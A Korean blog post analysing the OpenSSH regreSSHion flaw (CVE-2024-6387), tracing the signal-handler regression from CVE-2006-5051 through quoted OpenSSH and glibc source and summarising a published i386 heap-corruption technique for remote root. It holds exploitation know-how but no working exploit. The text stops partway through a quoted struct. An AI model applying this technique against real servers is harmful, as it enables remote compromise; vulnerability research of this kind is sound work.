Intro
TOOR 팀 활동을 하며 분석하게된 OpenSSH 원데이 취약점에 관한 글입니다.

CVE-2024-6387은 7월 1일에 공개된 Qualys에서 발견하고 OpenSSH 버전 9.8/9.8p1에서 패치된 취약점입니다.
CVE-2024-6387은 CVE-2006-5051의 보안 회귀(Security Regression)로, 패치되었던 취약점이 잘못된 패치로 인해서 재발생한 케이스입니다.
CVE-2006-5051의 보안 회귀 취약점이기 때문에 해당 취약점은 “RegreSSHion”이란 이름으로 불리고 있습니다.
두 취약점 모두 glibc를 기반으로둔 리눅스 시스템 프로그램인 OpenSSH의 서버 프로그램에 존재하는 SIGALRM 시그널 핸들러에서 Async-signal-unsafe 함수를 사용하여 발생하게 되는 취약점입니다. 이로인해 레이스 컨디션이 발생할 수 있습니다. 결과적으론 해당 취약점으로 인해 root 권한으로 대상 서버에 대한 RCE가 가능해집니다.
본 글은 선행 연구를 진행하신 다른 연구원분들의 글들을 읽고 제 나름 분석을 진행하며 취약점을 공부하며 이해하고 정리해본 결과로 작성하게된 글입니다. 나름의 분석을 해봤지만 맞지 않는 부분이 있을 수 있으며, 만약 이를 발견하셨을 시 피드백해주시면 적극 반영하도록 하겠습니다. 취약점 및 PoC 분석에 많은 도움이된 자료는 다음과 같습니다.
Vuln
| 취약하지 않은 버전 | 취약한 버전 |
|---|
| Release | Status | Date |
|---|---|---|
| < 4.4p1 | CVE-2006-5051 또는 CVE-2008-4109에 대한 패치가 적용되지 않았을 경우 취약 | 2006년 9월 27일 이전 |
| 4.4p1 ≤ OpenSSH < 8.5p1 | Mitigation 적용으로 취약하지 않음 | 2006년 9월 27일 ~ 2021년 3월 3일 |
| 8.5p1 ≤ OpenSSH < 9.8p1 | 취약점 재발 | 2021년 3월 3일 ~ 2024년 7월 1일 |
| ≥ 9.8p1 | 회귀에 대한 패치 적용 | 2024년 7월 1일 이후 |
RCA
CVE-2024-6387에 대해 알아보기 전 먼저 CVE-2006-5051에 대해서 알아보고 해당 취약점이 어떻게 재발생하게되었는지 알아봅시다.
CVE-2006-5051
OpenSSH의 코드 중 sshd.c에 존재하는 grace_alarm_handler는 사용자가 로그인 요청을 하고나서 일정 시간이 지나도록 로그인을 하지 않으면 발생하는 SIGALRM 시그널을 처리하는 함수입니다.
grace_alarm_handler는 sshd의 main 함수에서 설정되고 sshd_config 지시어(LoginGraceTime)로 설정된 일정 시간이 지나게되었을 때 발생하는 SIGALRM 시그널을 처리하기 위해 호출됩니다.
다음과 같이 로그인 시도 후 LoginGraceTime이 설정되어있다면 인증 시간 초과(SIGALRM)에 의해 grace_alarm_handler가 호출됩니다.
영상에 나온 OpenSSH 버전은 9.2p로 grace_alarm_handler의 작동을 보여드리기 위해 사용되었습니다.
OpenSSH 4.3 버전의 grace_alarm_handler는 다음과 같이 작성되어있습니다.
/* * Signal handler for the alarm after the login grace period has expired. */static voidgrace_alarm_handler(int sig){ /* XXX no idea how fix this signal handler */
if (use_privsep && pmonitor != NULL && pmonitor->m_pid > 0) kill(pmonitor->m_pid, SIGALRM);
/* Log error and exit. */ fatal("Timeout before authentication for %s", get_remote_ipaddr());}로깅을 위해 fatal 함수를 호출하는 모습을 볼 수 있습니다. fatal 함수는 fatal.c에 다음과 같이 작성되어있습니다.
voidfatal(const char *fmt,...){ va_list args; va_start(args, fmt); do_log(SYSLOG_LEVEL_FATAL, fmt, args); va_end(args); cleanup_exit(255);}fatal 함수는 다시 로깅을 위해 log.c에 위치한 do_log 함수를 호출합니다. 이제 do_log 코드를 확인해봅시다.
voiddo_log(LogLevel level, const char *fmt, va_list args){... syslog(pri, "%.500s", fmtbuf);... }}해당 코드에서 syslog를 호출하는 모습을 볼 수 있습니다. 이때 glibc의 syslog는 메모리 버퍼 스트림을 생성하기 위해서 malloc을 호출하고 함수의 끝에서는 해당 메모리를 정리하기 위해서 free함수를 호출합니다.
이때의 malloc과 free는 비동기 시그널에 안전하지 않기 때문에 시그널 처리 함수에서는 호출되어선 안되지만 syslog의 호출로 인해서 취약점이 발생한 상황입니다.
Async-signal-safe function
Async-signal-safe 함수란 시그널 핸들러 내에서 안전하게 호출할 수 있는 함수를 뜻합니다.
시그널 핸들러에서 호출하는 함수가 async signal safety(비동기 시그널 안전성)이 없을 경우 취약점이 발생할 수 있습니다.
CVE-2006-5051은 async-signal-unsafe 함수를 호출해서 발생합니다. 바로 직접적인 호출은 아니며 위에서 살펴본대로 다음과 같은 과정으로 async-signal-unsafe 함수가 호출됩니다.

이와 같은 SIGALRM 핸들러의 허점을 이용해 malloc/free 함수 처리 중 특정 지점에서의 처리를 중단시키고 malloc/free에 재진입하여 익스플로잇을 성공시킵니다.
CVE-2006-5051 Patch (Incorrect fix)
위에서 알아본 취약점은 CVE-2006-5051 패치에 의해 다음과 같이 수정되었습니다.
OpenSSH 4.4 버전의 코드는 다음과 같습니다.
먼저 sshd.c에서의 grace_alarm_handler는 다음과 같이 변경되었습니다.
4.3p2

4.4

4.4에선 sigdie를 호출하는 형태로 바뀌었습니다. sigdie는 이전 버전과 동일하게 do_log를 호출합니다.
voidsigdie(const char *fmt,...){ va_list args;
va_start(args, fmt); do_log(SYSLOG_LEVEL_FATAL, fmt, args); va_end(args); _exit(1);}하지만 do_log에서 여전히 syslog를 호출하는 모습이 보입니다.
...
voiddo_log(LogLevel level, const char *fmt, va_list args){... syslog(pri, "%.500s", fmtbuf);...}잘못된 패치가 이루어졌고 해당 취약점은 여전히 존재하는 상태가 됩니다.
CVE-2008-4109 Patch
앞서 알아본 취약점은 CVE-2008-4109 패치에서 비로소 수정됩니다.
A certain Debian patch for OpenSSH before 4.3p2-9etch3 on etch; before 4.6p1-1 on sid and lenny; and on other distributions such as SUSE uses functions that are not async-signal-safe in the signal handler for login timeouts, which allows remote attackers to cause a denial of service (connection slot exhaustion) via multiple login attempts. NOTE: this issue exists because of an incorrect fix for CVE-2006-5051.
OpenSSH 4.5p1 grace_alarm_handler
/* * Signal handler for the alarm after the login grace period has expired. *//*ARGSUSED*/static voidgrace_alarm_handler(int sig){ if (use_privsep && pmonitor != NULL && pmonitor->m_pid > 0) kill(pmonitor->m_pid, SIGALRM);
/* Log error and exit. */ sigdie("Timeout before authentication for %s", get_remote_ipaddr());}OpenSSH 4.5p1 sigdie
voidsigdie(const char *fmt,...){#ifdef DO_LOG_SAFE_IN_SIGHAND va_list args;
va_start(args, fmt); do_log(SYSLOG_LEVEL_FATAL, fmt, args); va_end(args);#endif _exit(1);}grace_alarm_handler에서 호출되는 sigdie에는 전처리 코드가 삽입되어 DO_LOG_SAFE_IN_SIGHAND를 정의하지 않는이상
do_log를 호출하는 일은 없어졌습니다.
CVE-2024-6387 (RegreSSHion)
앞서 살펴본 취약점인 CVE-2006-5051과 CVE-2008-4109는 위에서 적용된 #ifdef DO_LOG_SAFE_IN_SIGHAND가 실수로 제거되어 commit 752250c(OpenSSH 8.5p1)에 의해서 부활하게됩니다.
코드가 어떻게 바뀌었는지 확인해봅시다.
grace_alarm_handler
/* * Signal handler for the alarm after the login grace period has expired. *//*ARGSUSED*/static voidgrace_alarm_handler(int sig){ if (use_privsep && pmonitor != NULL && pmonitor->m_pid > 0) kill(pmonitor->m_pid, SIGALRM);
/* * Try to kill any processes that we have spawned, E.g. authorized * keys command helpers. */ if (getpgid(0) == getpid()) { ssh_signal(SIGTERM, SIG_IGN); kill(0, SIGTERM); }
/* XXX pre-format ipaddr/port so we don't need to access active_state */ /* Log error and exit. */ sigdie("Timeout before authentication for %s port %d", ssh_remote_ipaddr(the_active_state), ssh_remote_port(the_active_state));}여기서 sigdie는 매크로로 sshsigdie로 확장됩니다.
#define sigdie(...) sshsigdie(__FILE__, __func__, __LINE__, 0, SYSLOG_LEVEL_ERROR, NULL, __VA_ARGS__)sshsigdie는 다음과 같이 정의되어있습니다. 이때 sshsigdie는 sshlogv를 호출합니다.
voidsshsigdie(const char *file, const char *func, int line, int showfunc, LogLevel level, const char *suffix, const char *fmt, ...){ va_list args;
va_start(args, fmt); sshlogv(file, func, line, showfunc, SYSLOG_LEVEL_FATAL, suffix, fmt, args); va_end(args); _exit(1);}결과적으로 sshlogv는 그전에 패치로 호출되지 않게했던 do_log를 다시 호출하게됩니다.
voidsshlogv(const char *file, const char *func, int line, int showfunc, LogLevel level, const char *suffix, const char *fmt, va_list args){ char tag[128], fmt2[MSGBUFSIZ + 128]; int forced = 0; const char *cp; size_t i;
snprintf(tag, sizeof(tag), "%.48s:%.48s():%d", (cp = strrchr(file, '/')) == NULL ? file : cp + 1, func, line); for (i = 0; i < nlog_verbose; i++) { if (match_pattern_list(tag, log_verbose[i], 0) == 1) { forced = 1; break; } }
if (log_handler == NULL && forced) snprintf(fmt2, sizeof(fmt2), "%s: %s", tag, fmt); else if (showfunc) snprintf(fmt2, sizeof(fmt2), "%s: %s", func, fmt); else strlcpy(fmt2, fmt, sizeof(fmt2));
do_log(file, func, line, level, forced, suffix, fmt2, args);}do_log는 여전히 syslog를 호출하고 있으며 glibc의 syslog는 여전히 비동기 시그널에 대해 안전하지 않기 때문에 보안 회귀가 발생합니다.
static voiddo_log(const char *file, const char *func, int line, LogLevel level, int force, const char *suffix, const char *fmt, va_list args){... syslog(pri, "%.500s", fmtbuf);...}이로인해 해당 패치가 도입된 8.5p1부터 9.8p1 패치가 적용되기 이전까지 glibc-based 리눅스 시스템에서 취약점이 발생하게 됩니다.
https://upload.wikimedia.org/wikipedia/commons/8/83/Resultant.png
Exploit
본 취약점을 제보한 Qualys는 위 취약점(CVE-2024-6387)의 악용방법을 32bit glibc기반의 리눅스에서 입증했습니다. 또한 다른 버전에서도 악용 가능 지점을 찾아 특정 버전에 대한 악용 가능성을 연구를 진행했습니다.
연구 개요는 다음과 같습니다.
SSH-2.0-OpenSSH_3.4p1 Debian 1:3.4p1-1.woody.3 (Debian 3.0r6, from 2005)
DSA의 공개 키 파싱 지점에서 호출되는 free를 취약점을 이용해 중간에 처리를 중단시키고,
완전한 처리가 이루어지지 않은 heap chunk에 대해 grace_alarm_handler에 의해 호출되는 free를 통해
공격을 수행합니다.
해당 공격을 성공시키기위해 600초의 로그인 유예 시간 동안 10개의 연결(MaxStartups)을 수용할 경우 약 10,000번의 시도가 필요하며 원격 루트 쉘을 얻기 위해 평균적으로 약 1주일 정도가 소요됩니다.
SSH-2.0-OpenSSH_4.2p1 Debian-7ubuntu3 (Ubuntu 6.06.1, from 2006)
해당 버전의 연구에선 CVE-2006-5051에서 언급된 GSSAPI를 GSSAPI 기능은 기본적으로 활성화되어있지 않기 때문에
취약점을 악용할 포인트로 사용하지 않고 기본적으로 활성화된 PAM 기능을 이용합니다.
해당 공격을 성공시키기위해 120초의 로그인 유예 시간 동안 10개의 연결(MaxStartups)을 수용할 경우 약 10,000번의 시도가 필요하며 원격 루트 쉘을 얻기 위해 약 1~2일 정도가 소요됩니다.
SSH-2.0-OpenSSH_9.2p1 Debian-2.+deb12u2 (Debian 12.5.0 from 2024)
🧪 아래 서술된 Exploit은
_vtable_offset을 사용하지 않는 경우_IO_wfile_underflow의 유도가 불가능하기때문에 glibc 32bit에서만 유효합니다.
⁉️
libioP.h
/* Setting this macro to 1 enables the use of the _vtable_offset bias in _IO_JUMPS_FUNCS, below. This is only needed for new-format _IO_FILE in libc that must support old binaries (see oldfileops.c). */#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1) && !defined _IO_USE_OLD_IO_FILE# define _IO_JUMPS_OFFSET 1#else# define _IO_JUMPS_OFFSET 0#endif위와 같은 경우 컴파일 설정에 따라 _IO_JUMPS_OFFSET을 1로 만들어 활성화하거나 0으로 만들어 일부 매크로를 다르게 만들 수 있습니다.
이에따라 다음과 같은 매크로에 차이가 생깁니다.
#if _IO_JUMPS_OFFSET# define _IO_JUMPS_FUNC(THIS) \ (IO_validate_vtable \ (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \ + (THIS)->_vtable_offset)))# define _IO_JUMPS_FUNC_UPDATE(THIS, VTABLE) \ (*(const struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \ + (THIS)->_vtable_offset) = (VTABLE))# define _IO_vtable_offset(THIS) (THIS)->_vtable_offset#else# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))# define _IO_JUMPS_FUNC_UPDATE(THIS, VTABLE) \ (_IO_JUMPS_FILE_plus (THIS) = (VTABLE))# define _IO_vtable_offset(THIS) 0#endif위에서 본 _IO_JUMPS_OFFSET을 0으로 만든다면 설정에 의해 _IO_JUMPS_FUNC에서 _vtable_offset 필드를 사용하지 않게되고
이로인해서 공격이 통하지 않을 수 있습니다.
이는 원 연구글에도 나와있으며 따라서 아래에 설명하는 공격은 i386 glibc에만 해당하게됩니다.
Eventually, we devised the following technique (which seems to be specific to the i386 glibc — the amd64 glibc does not seem to use _vtable_offset at all):
— [접은글의 끝입니다] —
해당 버전의 연구에선 syslog를 호출하는 점을 이용합니다. PoC에선 현재 환경에서의 취약성을 종합해서 악용하기 때문에 자세히 알아봅시다.
연구에 사용된 Debian은 i386에 경우 glibc(2.36)가 항상 0xb7200000 또는 0xb7400000에 매핑되기 때문에 절반의 확률로 PIE를 무력화 시킬 수 있습니다.
앞서 알아본 순서로 syslog가 grace_alarm_handler에 의해서 호출됩니다.
연구에 사용된 Debian버전의 glibc(2.36)는 단일 스레드 환경에대한 락을 진행하지 않기 때문에 취약점을 성공적으로 악용할 수 있습니다.
이를 이용해 malloc 호출을 SIGALRM을 통해 중간에 중단시킨 후 SIGALRM에서 사용하는 malloc을 통해 완전히 처리되지 않은 heap chunk를 악용합니다.
해당 공격을 성공시키위해 120초의 로그인 유예 시간 동안 100개의 연결(MaxStartups)을 수용할 경우 원격 루트 쉘을 얻기 위해 약 6~8시간이 소요됩니다.
glibc 2.36에서 syslog에서는 다음과 같은 흐름으로 fopen을 호출해 FILE 구조체를 만들고 있습니다.

/misc/syslog.c:__syslog,__vsyslog_internal
va_start (ap, fmt); __vsyslog_internal (pri, fmt, ap, 0); va_end (ap); } ldbl_hidden_def (__syslog, syslog) ldbl_strong_alias (__syslog, syslog)
void __vsyslog_internal (int pri, const char *fmt, va_list ap, unsigned int mode_flags) { … struct tm *now_tmp = __localtime64_r (&now, &now_tm); … }
</div></details><details><summary>/time/localtime.c:__localtime64_r</summary><div markdown="1">```c/* Return the `struct tm' representation of *T in local time, using *TP to store the result. */struct tm *__localtime64_r (const __time64_t *t, struct tm *tp){ return __tz_convert (*t, 1, tp);}/time/tzset.c:__tz_convert,tzset_internal
/time/tzfile.c:__tzfile_read
위와 같은 흐름에 의해서 FILE 구조체가 힙 메모리에 생성됩니다.
취약점을 이용하여 특정 힙 청크를 겹치게 만든 후 이를 덮어쓰는 과정으로 공격을 진행합니다.
보고서에 나온 내용에 따르면 힙 손상을 통해 __tzfile_read()에서 할당된 FILE 구조체의 _vtable_offset 필드 덮어써 함수 포인터에 의해 호출되는 함수를 임의로 조작하여
원하는 명령어를 실행할 수 있게됩니다.
/* The tag name of this struct is _IO_FILE to preserve historic C++ mangled names for functions taking FILE* arguments. That name should not be used in new code. */struct _IO_FILE{... signed char _vtable_offset;...};이렇게 오염된 메타데이터는 위 코드에서 살펴본 __tzfile_read에서 __fread_unlocked를 호출하는 과정에서 원하는 코드를 실행할 수 있게 만듭니다.
__fread_unlocked 함수는 다음과 같은 호출 흐름을 갖습니다.

libio/iofread_u.c:_IO_jump_t
libio/iofread_u.c:__fread_unlocked
libio/genops.c:_IO_sgetn
libio/libioP.h:_IO_XSGETN(FP, DATA, N), _IO_WXSGETN(FP, DATA, N)
libio/fileops.c:_IO_file_xsgetn
want = n;
if (fp->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_IO_save_base != NULL) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); }
while (want > 0) { have = fp->_IO_read_end - fp->_IO_read_ptr; if (want <= have) { memcpy (s, fp->_IO_read_ptr, want); fp->_IO_read_ptr += want; want = 0; } else { if (have > 0) { s = __mempcpy (s, fp->_IO_read_ptr, have); want -= have; fp->_IO_read_ptr += have; }
/* Check for backup and repeat */ if (_IO_in_backup (fp)) { _IO_switch_to_main_get_area (fp); continue; }
/* If we now want less than a buffer, underflow and repeat the copy. Otherwise, _IO_SYSREAD directly to the user buffer. */ if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) { if (__underflow (fp) == EOF) break;
continue; }
/* These must be set before the sysread as we might longjmp out waiting for input. */ _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base); _IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);
/* Try to maintain alignment: read a whole number of blocks. */ count = want; if (fp->_IO_buf_base) { size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base; if (block_size >= 128) count -= want % block_size; }
count = _IO_SYSREAD (fp, s, count); if (count <= 0) { if (count == 0) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN;
break; }
s += count; want -= count; if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count);}}return n - want; } libc_hidden_def (_IO_file_xsgetn)
</div></details>
<details><summary>libio/genops.c</summary><div markdown="1">```cint__underflow (FILE *fp){ if (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1) != -1) return EOF;
if (fp->_mode == 0) _IO_fwide (fp, -1); if (_IO_in_put_mode (fp)) if (_IO_switch_to_get_mode (fp) == EOF) return EOF; if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; if (_IO_in_backup (fp)) { _IO_switch_to_main_get_area (fp); if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr; } if (_IO_have_markers (fp)) { if (save_for_backup (fp, fp->_IO_read_end)) return EOF; } else if (_IO_have_backup (fp)) _IO_free_backup_area (fp); return _IO_UNDERFLOW (fp);}libc_hidden_def (__underflow)libio/libioP.h:_IO_UNDERFLOW(FP),_IO_WUNDERFLOW(FP)
여기서 _vtable_offset멤버를 덮어 오프셋에 의해 호출되는 함수를 _IO_file_underflow 대신 _IO_wfile_underflow를 호출하게 만듭니다.

libio/fileops.c:_IO_file_jumps
libio/wfileops.c:_IO_wfile_jumps
libio/fileops.c:_IO_new_file_underflow
/* C99 requires EOF to be “sticky”. */ if (fp->_flags & _IO_EOF_SEEN) return EOF;
if (fp->_flags & _IO_NO_READS) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return EOF; } if (fp->_IO_read_ptr < fp->_IO_read_end) return *(unsigned char *) fp->_IO_read_ptr;
if (fp->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_IO_save_base != NULL) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp); }
/* FIXME This can/should be moved to genops ?? / if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED)) { / We used to flush all line-buffered stream. This really isn’t required by any standard. My recollection is that traditional Unix systems did this for stdout. stderr better not be line buffered. So we do just that here explicitly. —drepper */ _IO_acquire_lock (stdout);
if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF)) == (_IO_LINKED | _IO_LINE_BUF))_IO_OVERFLOW (stdout, EOF);
_IO_release_lock (stdout);}_IO_switch_to_get_mode (fp);
/* This is very tricky. We have to adjust those pointers before we call _IO_SYSREAD () since we may longjump () out while waiting for input. Those pointers may be screwed up. H.J. */ fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base; fp->_IO_read_end = fp->_IO_buf_base; fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base;
count = _IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base); if (count <= 0) { if (count == 0) fp->_flags |= _IO_EOF_SEEN; else fp->_flags |= _IO_ERR_SEEN, count = 0; } fp->_IO_read_end += count; if (count == 0) { /* If a stream is read to EOF, the calling application may switch active handles. As a result, our offset cache would no longer be valid, so unset it. */ fp->_offset = _IO_pos_BAD; return EOF; } if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count); return *(unsigned char *) fp->_IO_read_ptr; } libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
</div></details>
<details><summary>libio/wfileops.c:_IO_wfile_underflow</summary><div markdown="1">```cwint_t_IO_wfile_underflow (FILE *fp){ struct _IO_codecvt *cd; enum __codecvt_result status; ssize_t count;
/* C99 requires EOF to be "sticky". */ if (fp->_flags & _IO_EOF_SEEN) return WEOF;
if (__glibc_unlikely (fp->_flags & _IO_NO_READS)) { fp->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return WEOF; } if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end) return *fp->_wide_data->_IO_read_ptr;
cd = fp->_codecvt;
/* Maybe there is something left in the external buffer. */ if (fp->_IO_read_ptr < fp->_IO_read_end) { /* There is more in the external. Convert it. */ const char *read_stop = (const char *) fp->_IO_read_ptr;
fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state; fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_buf_base; status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state, fp->_IO_read_ptr, fp->_IO_read_end, &read_stop, fp->_wide_data->_IO_read_ptr, fp->_wide_data->_IO_buf_end, &fp->_wide_data->_IO_read_end);
fp->_IO_read_base = fp->_IO_read_ptr; fp->_IO_read_ptr = (char *) read_stop;
/* If we managed to generate some text return the next character. */ if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end) return *fp->_wide_data->_IO_read_ptr;
if (status == __codecvt_error) { __set_errno (EILSEQ); fp->_flags |= _IO_ERR_SEEN; return WEOF; }
/* Move the remaining content of the read buffer to the beginning. */ memmove (fp->_IO_buf_base, fp->_IO_read_ptr, fp->_IO_read_end - fp->_IO_read_ptr); fp->_IO_read_end = (fp->_IO_buf_base + (fp->_IO_read_end - fp->_IO_read_ptr)); fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base; } else fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_read_end = fp->_IO_buf_base;
if (fp->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_IO_save_base != NULL) { free (fp->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_doallocbuf (fp);
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_read_end = fp->_IO_buf_base; }
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base;
if (fp->_wide_data->_IO_buf_base == NULL) { /* Maybe we already have a push back pointer. */ if (fp->_wide_data->_IO_save_base != NULL) { free (fp->_wide_data->_IO_save_base); fp->_flags &= ~_IO_IN_BACKUP; } _IO_wdoallocbuf (fp); }
/* FIXME This can/should be moved to genops ?? */ if (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED)) { /* We used to flush all line-buffered stream. This really isn't required by any standard. My recollection is that traditional Unix systems did this for stdout. stderr better not be line buffered. So we do just that here explicitly. --drepper */ _IO_acquire_lock (stdout);
if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF)) == (_IO_LINKED | _IO_LINE_BUF)) _IO_OVERFLOW (stdout, EOF);
_IO_release_lock (stdout); }
_IO_switch_to_get_mode (fp);
fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_buf_base; fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_buf_base; fp->_wide_data->_IO_write_base = fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_buf_base;
const char *read_ptr_copy; char accbuf[MB_LEN_MAX]; size_t naccbuf = 0; again: count = _IO_SYSREAD (fp, fp->_IO_read_end, fp->_IO_buf_end - fp->_IO_read_end); if (count <= 0) { if (count == 0 && naccbuf == 0) { fp->_flags |= _IO_EOF_SEEN; fp->_offset = _IO_pos_BAD; } else fp->_flags |= _IO_ERR_SEEN, count = 0; } fp->_IO_read_end += count; if (count == 0) { if (naccbuf != 0) /* There are some bytes in the external buffer but they don't convert to anything. */ __set_errno (EILSEQ); return WEOF; } if (fp->_offset != _IO_pos_BAD) _IO_pos_adjust (fp->_offset, count);
/* Now convert the read input. */ fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state; fp->_IO_read_base = fp->_IO_read_ptr; const char *from = fp->_IO_read_ptr; const char *to = fp->_IO_read_end; size_t to_copy = count; if (__glibc_unlikely (naccbuf != 0)) { to_copy = MIN (sizeof (accbuf) - naccbuf, count); to = __mempcpy (&accbuf[naccbuf], from, to_copy); naccbuf += to_copy; from = accbuf; } status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state, from, to, &read_ptr_copy, fp->_wide_data->_IO_read_end, fp->_wide_data->_IO_buf_end, &fp->_wide_data->_IO_read_end);
if (__glibc_unlikely (naccbuf != 0)) fp->_IO_read_ptr += MAX (0, read_ptr_copy - &accbuf[naccbuf - to_copy]); else fp->_IO_read_ptr = (char *) read_ptr_copy; if (fp->_wide_data->_IO_read_end == fp->_wide_data->_IO_buf_base) { if (status == __codecvt_error) { out_eilseq: __set_errno (EILSEQ); fp->_flags |= _IO_ERR_SEEN; return WEOF; }
/* The read bytes make no complete character. Try reading again. */ assert (status == __codecvt_partial);
if (naccbuf == 0) { if (fp->_IO_read_base < fp->_IO_read_ptr) { /* Partially used the buffer for some input data that produces no output. */ size_t avail = fp->_IO_read_end - fp->_IO_read_ptr; memmove (fp->_IO_read_base, fp->_IO_read_ptr, avail); fp->_IO_read_ptr = fp->_IO_read_base; fp->_IO_read_end -= avail; goto again; } naccbuf = fp->_IO_read_end - fp->_IO_read_ptr; if (naccbuf >= sizeof (accbuf)) goto out_eilseq;
memcpy (accbuf, fp->_IO_read_ptr, naccbuf); } else { size_t used = read_ptr_copy - accbuf; if (used > 0) { memmove (accbuf, read_ptr_copy, naccbuf - used); naccbuf -= used; }
if (naccbuf == sizeof (accbuf)) goto out_eilseq; }
fp->_IO_read_ptr = fp->_IO_read_end = fp->_IO_read_base;
goto again; }
return *fp->_wide_data->_IO_read_ptr;}libc_hidden_def (_IO_wfile_underflow)
libio/iofwide.c
struct __gconv_step *gs = codecvt->__cd_in.step; int status; size_t dummy; const unsigned char *from_start_copy = (unsigned char *) from_start;
codecvt->__cd_in.step_data.__outbuf = (unsigned char *) to_start; codecvt->__cd_in.step_data.__outbufend = (unsigned char *) to_end; codecvt->__cd_in.step_data.__statep = statep;
__gconv_fct fct = gs->__fct; #ifdef PTR_DEMANGLE if (gs->__shlib_handle != NULL) PTR_DEMANGLE (fct); #endif
status = DL_CALL_FCT (fct, (gs, &codecvt->__cd_in.step_data, &from_start_copy, (const unsigned char *) from_end, NULL, &dummy, 0, 0));
*from_stop = (const char *) from_start_copy; *to_stop = (wchar_t *) codecvt->__cd_in.step_data.__outbuf;
switch (status) { case __GCONV_OK: case __GCONV_EMPTY_INPUT: result = __codecvt_ok; break;
case __GCONV_FULL_OUTPUT:case __GCONV_INCOMPLETE_INPUT: result = __codecvt_partial; break;
default: result = __codecvt_error; break;}return result; }
</div></details>
여기에서 함수 포인터로 참조되는 멤버의 구조는 다음과 같이 구성되게됩니다.
<p align="center"><img width="100%" src="/assets/img/CVE-2024-6387/structure_graph.png"/></p>
<details><summary>libio/libioP.h</summary><div markdown="1">```cstruct _IO_jump_t{ JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue);};
/* We always allocate an extra word following an _IO_FILE. This contains a pointer to the function jump table used. This is for compatibility with C++ streambuf; the word can be used to smash to a pointer to a virtual function table. */
struct _IO_FILE_plus{ FILE file; const struct _IO_jump_t *vtable;};libio/bits/types/struct_FILE.h:struct _IO_FILE
/* The following pointers correspond to the C++ streambuf protocol. */ char _IO_read_ptr; / Current read pointer */ char _IO_read_end; / End of get area. */ char _IO_read_base; / Start of putback+get area. */ char _IO_write_base; / Start of put area. */ char _IO_write_ptr; / Current put pointer. */ char _IO_write_end; / End of put area. */ char _IO_buf_base; / Start of reserve area. */ char _IO_buf_end; / End of reserve area. */
/* The following fields are used to support backing up and undo. */ char _IO_save_base; / Pointer to start of non-current get area. */ char _IO_backup_base; / Pointer to first valid character of backup area */ char _IO_save_end; / Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno; int _flags2; __off_t _old_offset; /* This used to be _offset but it’s too small. */
